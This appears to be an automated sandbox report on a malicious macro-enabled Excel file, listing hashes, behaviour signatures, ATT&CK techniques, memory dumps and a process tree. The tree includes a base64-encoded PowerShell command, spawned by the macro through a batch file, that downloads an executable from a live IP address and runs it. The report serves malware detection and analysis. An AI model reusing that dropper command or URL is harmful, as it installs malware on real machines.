Overview

overview

10

Static

static

8

QegkD76apD...B.xlsm

windows7_x64

10

QegkD76apD...B.xlsm

windows10_x64

10

Analysis

  • max time kernel
    106s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21-10-2021 17:21

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General

  • Target

    QegkD76apDUdkgmDSSbB.xlsm

  • Size

    144KB

  • MD5

    31a6c161407e0e1c22ba4c8cc7922dbd

  • SHA1

    68d27dbce6639d2360d24f3cfbd48e3f03a8c26a

  • SHA256

    c6971112e20b441f60617be0343ced897ef21ba2b298f282bbb547248c4360b3

  • SHA512

    035c4fe21e7153e13a3d5cf6013bb99e5a23ea7ca46693d8a1b6db72023d0d46fa20167da20d52ed38500ef97fe64eb42b0faa829ee5150e75484db8bbd8718d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://3.64.251.139/vr/r/QegkD76apDUdkgmDSSbB.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\QegkD76apDUdkgmDSSbB.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBZAGQAbgBhAGcAZwBtAHQAbwB5AGMAawB5AGgAaQBjAG0AcwBiAGsAYgBtAGQALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANgA0AC4AMgA1ADEALgAxADMAOQAvAHYAcgAvAHIALwBRAGUAZwBrAEQANwA2AGEAcABEAFUAZABrAGcAbQBEAFMAUwBiAEIALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2156
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2156 -s 2464
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2496

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\Documents\Mbefiusocvqwxsbfo.bat
    MD5

    52d685c5a6f1e37d97649a5d76a53f52

    SHA1

    189724df16f5cebb6887689181014bb9901cd74d

    SHA256

    385c2daf04f2d9042c38d2c6823a2fa5837cfd15dfb4e607749d68d8b7ef5736

    SHA512

    0a6e8a5e298f1ec15c340d17c2da0531d9360c1c426000dd2b38d8852311942d9df90c759741060eca58b95b0184c33c6336f0a2ec8d2c3cf8bd692b2aa340eb

    Download Submit
  • memory/2156-285-0x0000028AEF423000-0x0000028AEF425000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2156-286-0x0000028AEF426000-0x0000028AEF428000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2156-284-0x0000028AEF420000-0x0000028AEF422000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2156-269-0x0000000000000000-mapping.dmp
    Download
  • memory/2676-118-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2676-121-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2676-122-0x000002B179470000-0x000002B179472000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2676-119-0x000002B179470000-0x000002B179472000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2676-120-0x000002B179470000-0x000002B179472000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2676-115-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2676-117-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2676-116-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp
    Filesize

    64KB

    Download
  • memory/3656-261-0x0000000000000000-mapping.dmp
    Download